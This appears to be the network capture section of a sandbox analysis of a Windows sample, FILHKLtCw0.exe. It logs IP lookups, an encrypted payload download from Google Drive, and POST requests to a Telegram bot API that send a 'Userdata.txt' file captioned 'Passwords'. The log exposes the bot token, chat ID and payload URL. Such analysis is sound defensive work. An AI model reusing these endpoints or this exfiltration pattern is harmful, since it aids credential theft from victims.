Jan 10, 2025 20:24:25.472788095 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:24:25 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	59259	193.122.6.168	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:24:28.900492907 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:24:29.556304932 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:24:29 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	59240	142.250.181.238	443	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:23:55 UTC	216	OUT	GET /uc?export=download&id=1lXVtdD0fIlICi_MAQ-2x5OrVMu-cSoWQ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-10 19:23:56 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 19:23:56 GMT Location: https://drive.usercontent.google.com/download?id=1lXVtdD0fIlICi_MAQ-2x5OrVMu-cSoWQ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-hx_TRSN0ECOYvX3A7tnFGQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	59241	142.250.185.193	443	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:23:56 UTC	258	OUT	GET /download?id=1lXVtdD0fIlICi_MAQ-2x5OrVMu-cSoWQ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-10 19:23:59 UTC	4940	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFIdbgQzQxWFyXAx1ztwUZUJML7dTv4BjXKCIVf-awLMEQ1NV-fx0CTEkC0ZkBGQI9VyBEoO Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="httUJDCusfypXJSaz200.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Sun, 15 Dec 2024 11:50:48 GMT Date: Fri, 10 Jan 2025 19:23:59 GMT Expires: Fri, 10 Jan 2025 19:23:59 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=8ttp3Q== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-10 19:23:59 UTC	4940	IN	Data Raw: 86 6d 16 3d f5 c2 f8 4e 96 ec c7 c3 ab c4 f9 59 4a 2b 0b 64 b3 75 6f 80 46 80 e5 31 64 88 63 cd 9e f0 06 65 28 de 74 c2 6c 02 a6 2f 42 e2 6b 73 e2 8a 03 a9 9b 81 57 d4 b2 f8 08 09 a1 47 ec fa 69 c3 12 ac 22 d9 5d 96 4b e4 d8 64 86 4a 3c 1a b3 95 1b f5 34 f8 63 92 35 b0 e8 44 f4 6a 73 f1 07 75 12 35 32 41 98 ee cf 96 1f b2 cc 45 1b c3 bf 4d cc 28 a4 ff 96 56 7f 00 76 17 00 84 e1 60 1e a5 1f 1c 83 37 58 6a 4a ff 61 7b a8 33 9a a6 d6 5c 16 68 aa 42 af 87 42 99 e0 6b 60 4c bb 55 61 8a 1b d7 6f 6f e1 3c c9 f7 f8 d1 68 03 00 ed e9 cd 0b bc 92 5d c7 8e 45 fa 41 6b 6f 84 ed ef 92 23 f9 0a 19 10 2c e2 14 29 30 0b 4d 38 2f 0c cb 3d a2 f9 eb b6 df 06 ea 0e b6 dd 7e fc a2 f1 bd 7c 31 c8 f4 d0 48 19 23 00 2e a3 c6 fc 18 20 03 05 23 37 e8 29 b7 c3 3c f0 0b 26 bf 93 ea Data Ascii: m=NYJ+duoF1dce(tl/BksWGi"]KdJ<4c5Djsu52AEM(Vv`7XjJa{3\hBBk`LUaoo<h]EAko#,)0M8/=~\|1H#. #7)<&
2025-01-10 19:23:59 UTC	4818	IN	Data Raw: b9 1b b7 4c bf b9 19 8d 20 30 e6 90 10 0f ce fc 45 e3 a2 30 38 51 1c e1 49 ce 6b 98 17 b0 5c 2f 65 59 c7 f5 7d 5f bf cd 6d 9e d0 91 95 0f 94 a1 17 86 48 ce 77 6c ef fd e4 fd fb 43 ce 24 ab 70 15 66 88 8d 07 14 c1 57 70 19 91 59 c2 49 8b d4 bc 51 ab 15 18 8e 29 a4 8f cf 80 7a 24 bb f3 a9 a3 20 b9 cc 8c 97 bc 69 c2 2c f0 68 60 43 ea 61 b4 dc 46 e8 78 8a a6 d1 70 4f 02 11 56 8f 54 0a 82 79 da 1a 51 f1 67 c9 57 cc 0b 7d 15 a3 94 2f 73 fa dc aa 94 2b 3a f4 53 db 54 ec 24 26 e0 59 c3 db 8a a6 75 e6 c6 d3 f4 7f 3a cc 80 f4 8b 61 59 f3 35 cf d9 20 b9 e2 c6 95 4f 71 80 d2 58 6b d1 30 3f 37 90 15 4a bb 12 89 4c 41 52 b4 93 13 79 4f e8 d7 a8 c3 92 0c 07 11 5d 48 e6 63 a4 a9 e5 e1 98 d6 0d 8e 38 a1 25 97 8d 22 5c 2b b8 46 10 b0 60 7a 32 12 b1 35 0f ec 1e 36 76 9b 43 Data Ascii: L 0E08QIk\/eY}_mHwlC$pfWpYIQ)z$ i,h`CaFxpOVTyQgW}/s+:ST$&Yu:aY5 OqXk0?7JLARyO]Hc8%"\+F`z256vC
2025-01-10 19:23:59 UTC	1323	IN	Data Raw: 13 82 86 9a 2b 10 ba a1 3a 52 83 51 ad 16 0d 60 37 61 17 d8 cc c4 65 36 18 dc 2f b3 be 23 f4 c4 20 d3 22 d5 30 15 a8 7c 3c 26 60 d9 52 e9 9a 94 f3 57 01 53 cd 80 8a be d9 bc 5a b7 c8 61 fa 45 6b 6f ae ed ef c2 75 c9 08 55 8b 2f e2 a3 37 45 ba 5c 38 2d 77 8d 3d a2 fd 75 e5 dd 07 eb 27 b2 dd 7e 90 a9 f7 ae 70 20 cc d8 dd 4a 62 bb 85 2f a7 ee 0f 18 20 09 a5 22 37 ea 52 bd c3 3c d4 75 75 bf 91 e0 a1 f6 a2 7f 37 31 08 38 5c 15 98 5e 63 11 ea 16 6a 2f 58 35 a9 18 83 d1 7c 23 eb 08 4b 76 5d 01 e8 68 42 d9 3f 29 9c f2 5d ef 6a 9c 16 eb 93 b1 69 ac 37 9a e8 7a 61 7f 1a ee 01 e6 69 79 d9 6f 6f 03 00 2a 20 29 12 9e 10 32 5f 34 21 4a 75 ec 03 43 32 ca bf 70 fa 4f 96 1e 0b de 13 59 b4 a7 b0 43 d9 94 b9 79 a5 15 ab ce a3 53 3b 9a ae 9f 78 d1 55 49 aa dc ed 8f 39 92 ba Data Ascii: +:RQ`7ae6/# "0\|<&`RWSZaEkouU/7E\8-w=u'~p Jb/ "7R<uu718\^cj/X5\|#Kv]hB?)]ji7zaiyoo* )2_4!JuC2pOYCyS;xUI9
2025-01-10 19:23:59 UTC	1390	IN	Data Raw: 49 06 52 ee f4 81 96 23 ee 9f 3f cf 67 0b ad 99 c5 4b 12 e9 c6 cd 14 f2 e4 04 95 89 83 f2 49 fb 00 f5 52 51 a0 5e 40 b8 93 8d 71 da 6d 7a 72 d5 a5 ac ac db 59 27 c6 fe 68 41 e1 49 37 b8 24 47 57 8d 2f 95 7c c8 36 4c 9b c5 d5 3c 65 70 e4 20 09 b8 6b fb 84 52 be 4c be 4e 5b d2 d0 8c da 9a 84 4d 81 f6 97 a8 21 16 06 e6 cd 66 c2 d6 d1 62 0b 21 45 5e 64 a4 d4 d9 ff d4 ec c6 ec 74 da 5a cf 71 71 e9 e2 6f 87 31 d3 fd 2d 0f a5 89 1e c3 5c 2d e5 28 71 ea 0b b7 03 96 06 12 4c cf ec 62 43 98 30 59 f9 05 d4 57 8d f6 81 30 4d 54 b8 f3 9a d0 04 f5 16 8a ca fb ce cc a6 6c c0 88 9c 6f 8b 20 ac b3 a0 d0 86 38 82 13 c6 57 dc 0c a8 09 37 f8 18 4d 09 28 40 12 ab 05 a3 2e ee c1 c3 0e 1c dc c5 12 93 43 da 36 37 d1 1b 0e 81 d0 d3 78 bb 71 38 57 32 0f 54 58 5a 24 49 a5 1f c5 0b Data Ascii: IR#?gKIRQ^@qmzrY'hAI7$GW/\|6L<ep kRLN[M!fb!E^dtZqqo1-\-(qLbC0YW0MTlo 8W7M(@.C67xq8W2TXZ$I
2025-01-10 19:23:59 UTC	1390	IN	Data Raw: 55 8f f9 f3 65 c5 b3 45 f2 07 73 41 d8 d5 02 1a 29 14 8a 61 bc b9 92 71 29 ed c3 55 68 d5 e5 e1 8e 5a 55 23 1b ea 71 57 8d 97 0d e9 d8 10 2f b2 cb e1 c3 38 42 39 30 38 8e 9d 48 c5 16 1d 81 d5 04 99 ad 88 71 ee a9 90 ae 43 f2 f7 85 55 c0 54 87 51 7f 23 64 e0 52 6e 0c f6 71 f9 a7 e2 73 f2 cf ba 56 38 ae 30 5a b7 d7 56 7c 14 5c 2d ce 0f f5 9f b8 56 7f fd b8 e3 c4 55 54 6e 1f c6 a5 5b 30 79 2d 99 48 62 2e 98 6a ee 45 1b f4 c6 b6 a7 90 a5 90 d9 44 1b 83 33 61 6c f4 a2 28 55 1e da 56 46 43 5e 26 cd c6 05 f2 14 ad a7 b8 1d 24 84 c0 a8 00 2c 5e c9 9e 01 94 ba 48 92 8b 0f 32 3a fd 5a 72 d5 1b 39 4d 0f 83 4a d2 78 81 2e 26 65 d6 6e 59 19 e8 6b 45 8d db 70 e0 ca 00 bd c1 94 7d c3 86 72 f7 5a 7e f0 df 32 f9 fb 61 b4 6a ab 7a c2 62 9c ff e5 11 c1 27 1d 21 80 4f b4 b9 Data Ascii: UeEsA)aq)UhZU#qW/8B908HqCUTQ#dRnqsV80ZV\|\-VUTn[0y-Hb.jED3al(UVFC^&$,^H2:Zr9MJx.&enYkEp}rZ~2ajzb'!O
2025-01-10 19:23:59 UTC	1390	IN	Data Raw: e1 e9 9a 4d 84 bf da c2 32 02 f7 88 27 5e 82 35 5d 3f 34 b7 bb 78 c2 9e 4e 30 24 cf 2f 0e fd 52 81 9f 8a d0 49 01 79 85 e0 3f cb 21 a6 1b 85 c7 a9 5b 5a 3c 72 47 4b 45 c4 50 86 45 09 1e d0 7f d7 d9 89 56 c3 14 97 20 46 80 1e f6 07 ba 0f cd 97 7b 8e a0 c7 25 76 23 24 5e 44 4a 10 fb e3 8f 0b 55 bf c4 7d 80 6e 1f c2 52 57 d3 ca 16 82 f4 96 5f 4c 84 36 84 35 d7 10 11 cf 49 74 5d 14 04 4b bb 8a ef 2d 4a d7 ae dc 4c 9c 7a f4 59 57 72 6b 2a 0e 63 56 23 c0 88 a4 c0 13 6e 98 c8 27 72 f2 6f c2 28 35 53 74 02 ce 3a bf a0 8d cd 24 22 94 77 c4 59 9a d7 12 02 be dc c5 66 60 d7 1e 4f 37 ec 83 be d9 54 04 c4 4c 90 8e de 1e 04 c1 ee 4e 64 b5 1f 8f 4e b9 e0 fc d3 79 38 db 45 c6 6b 26 7a cc cd 3e 76 4e af dd dc 28 e8 30 cb 7f c8 82 4c e4 b9 30 52 e0 9b 8f b2 fe c8 db da ff Data Ascii: M2'^5]?4xN0$/RIy?![Z<rGKEPEV F{%v#$^DJU}nRW_L65It]K-JLzYWrk*cV#n'ro(5St:$"wYf`O7TLNdNy8Ek&z>vN(0L0R
2025-01-10 19:23:59 UTC	1390	IN	Data Raw: 77 92 18 59 da 13 20 32 92 5a 16 d5 d9 c6 05 23 cb 0e e1 5b 0b 84 92 b3 91 34 1e 67 25 68 6a 07 94 50 4c 8b c0 43 a4 8a 14 5b 7d f3 3a 3e cd ab 00 73 31 a3 fb 37 40 fa 3d da bd 35 a5 cd 3e 83 51 c3 f4 45 84 31 85 bf 5e d1 78 ca 20 07 21 b2 c3 65 38 d5 48 92 01 db 16 70 b1 6e 05 5b f9 b0 3d a8 2e ec a1 21 b4 85 ad 7b b5 19 cf dd a3 dd aa 4d ec fa a3 ec aa f2 de 3c 3f 77 1a b9 70 4c a2 4e 86 6c 3e cf 60 a0 12 91 01 25 0a bf f0 3b 38 45 54 ea 65 58 12 eb f9 59 ed 8c 44 85 71 ae f5 2d 12 09 36 39 e0 97 cf ce 6f 85 06 38 8e f5 b6 94 bd 1d b2 66 5e 2a 45 b4 54 6a 32 0d cf b7 4f 2e bd 7d bd a0 df 04 98 55 d3 ab 30 06 a4 a9 bc ff 2c 25 8a fc 79 94 fe 67 0a 3c 09 49 14 6f 2c 23 6d 1d e4 22 f6 dd ac 21 d3 75 2a 4f e4 de 77 7c b5 2d 1e 79 77 1e f5 44 ee 4b 13 75 b0 Data Ascii: wY 2Z#[4g%hjPLC[}:>s17@=5>QE1^x !e8Hpn[=.!{M<?wpLNl>`%;8ETeXYDq-69o8f^ETj2O.}U0,%yg<Io,#m"!uOw\|-ywDKu
2025-01-10 19:23:59 UTC	1390	IN	Data Raw: e8 04 a6 b6 bc 62 fc f2 28 9c 3a 38 aa 60 d6 7c 9f 0d 10 ea 36 c1 b5 b7 ac 1a e9 ef 94 fe 57 a4 a3 12 f2 98 62 48 eb 27 43 dc 34 b3 83 b2 9e b1 70 97 ab db 6b fd 56 3f da 90 15 4a c5 84 e6 13 4b 52 c0 90 1a 51 de 9b 43 ae d0 9d 1f 00 00 70 07 73 4b 0e a3 f4 ec ff 51 0a fc ae bd 5b c7 e2 f7 58 58 29 29 4f ba 73 78 64 b5 b1 35 0d 8d 87 3d 67 ef 27 41 f7 34 6e fd 31 e3 62 1e e2 21 b8 59 62 90 e2 3f 38 46 1f a7 46 94 1d be 1a 16 52 0d af de 71 7b 5f 4e 6d 8b 4e 47 58 ae 08 63 44 b6 51 ca 9a aa 66 20 67 4b 37 0b c8 46 16 61 21 55 b0 8e e4 3b bd 89 ca da 3b d0 48 a5 a7 57 2a 1e 19 64 51 63 36 c9 98 24 65 d9 b8 e4 08 ce d3 c2 eb a3 1e cc fe d1 b5 15 62 a8 81 de 5e 05 bd 29 f4 81 94 81 cb 96 4a f4 a4 18 da 2a e7 43 1d b8 e2 33 eb 0b 46 21 51 eb e0 cf 7a 8b a2 da Data Ascii: b(:8`\|6WbH'C4pkV?JKRQCpsKQ[XX))Osxd5=g'A4n1b!Yb?8FFRq{_NmNGXcDQf gK7Fa!U;;HWdQc6$eb^)JC3F!Qz
2025-01-10 19:23:59 UTC	1390	IN	Data Raw: d5 83 62 b4 d2 1a 67 e2 03 46 5d 62 32 aa 79 02 84 6e 47 04 a4 31 4f 8e d1 6d a4 b7 c6 b4 8e 61 a0 87 f8 fe 22 79 4c da c0 6f 19 cd 67 9b 6b b6 a6 67 15 94 ce 8d a8 a6 4b 04 1a cb 5d 11 78 ba ce 37 ec e4 96 11 2b 2a 8f a5 65 43 2f d0 ab eb d6 e8 75 a7 5a 20 f3 75 70 a7 76 ea e6 4b 65 f8 18 af 9b 3d a4 3b 0e ca 96 4e 35 70 8e f6 91 36 81 41 15 41 cf 7d 93 67 02 5e 25 9f 1f 17 db 08 96 d3 cd 4f 24 72 cd ba fa 05 38 8e af fb c1 3a c8 dd 48 db 37 ec 17 98 60 c5 f1 7d 1f ae 03 f6 1d 1b e9 92 5a 7d aa 8e 62 97 cd 6b e6 6e c0 ce b4 1a 08 01 61 0d 53 3a ff bf 65 ba 37 89 af 3c 37 90 cf e1 06 1f 0b 12 fc c5 b4 1d c5 55 2f e3 b2 6d 1e 21 c2 1e 16 b8 1a 4a 8d 02 00 57 ee af f9 76 b8 e4 7e f0 07 75 76 dc ab dc 80 3a 1c 8c b5 dc 51 84 62 24 c6 db 45 66 c4 e3 82 d9 32 Data Ascii: bgF]b2ynG1Oma"yLogkgK]x7+*eC/uZ upvKe=;N5p6AA}g^%O$r8:H7`}Z}bknaS:e7<7U/m!JWv~uv:Qb$Ef2
2025-01-10 19:23:59 UTC	1390	IN	Data Raw: fb 23 dc 92 08 01 28 0b 3a 15 80 38 ae 4f 1d 94 52 e9 9e 85 f1 2c 4c 04 cc 84 a2 05 d8 bc 50 da 84 61 fa 05 6b 6f 85 f6 df c6 66 85 0b 55 11 1c e2 a3 02 45 a5 51 10 f7 0c cb 37 d0 60 2e b6 ad 2f af 0f e6 d7 74 9a a5 d9 45 74 31 c2 ff d7 71 5f fc 85 2f a5 b5 0b 18 20 05 a9 2a 45 b2 35 f7 b3 53 02 0b 26 b9 b7 e2 e6 71 a2 7f 3b 2d d5 38 5f 12 8e 75 56 04 90 5c 6a 27 4d 1a 08 70 9f db 0c 4c 3e 0a 30 38 50 09 fd 11 63 a7 23 23 c4 c9 88 ef 60 96 0d fc 9d b1 68 f2 a6 84 93 42 0e aa 1e c6 d4 f5 6c 62 dc 47 fc 01 7b 60 33 21 07 e8 6f 71 59 16 0a 1f 75 e6 66 4a 3a d9 b2 0e f8 62 9b 16 58 06 13 59 b6 9c 6a 52 d0 8a 47 78 b6 35 ba c4 ae 9d 30 89 8f 8f 73 fd 66 61 00 cd ed 87 56 aa d5 85 d4 38 23 e6 87 25 cb 82 2e 6b 2a 31 a5 ba 78 e9 8f 4e 18 9f cf 2d 76 3d 58 86 9d Data Ascii: #(:8OR,LPakofUEQ7`./tEt1q_/ E5S&q;-8_uV\j'MpL>08Pc##`hBlbG{`3!oqYufJ:bXYjRGx50sfaV8#%.k1xN-v=X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	59243	104.21.64.1	443	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:24:03 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-10 19:24:03 UTC	860	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:24:03 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1851832 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X4%2F8PIRSDBweMt1Npqee4fDziEp21IiP2RgJWuK6LCGG456IHHclBC0gcm9hHBdAdIJOpd6hnoyun3Zpp2hannXvfgh%2BhWvnn2%2FFvHL%2F%2Fp7CO8FQwohOKpfPqBmfWKORmCcRKcd%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff0b88bbab42e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1750&min_rtt=1750&rtt_var=875&sent=6&recv=8&lost=0&retrans=1&sent_bytes=4238&recv_bytes=699&delivery_rate=202946&cwnd=240&unsent_bytes=0&cid=6c36be65a3ed9cf1&ts=175&x=0"
2025-01-10 19:24:03 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	59244	149.154.167.220	443	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:24:10 UTC	296	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3182720a9442 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 19:24:10 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 38 32 37 32 30 61 39 34 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3182720a9442Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:24:10 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:24:10 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:24:10 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	59246	149.154.167.220	443	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:24:14 UTC	296	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31b1cb1e2887 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 19:24:14 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 62 31 63 62 31 65 32 38 38 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 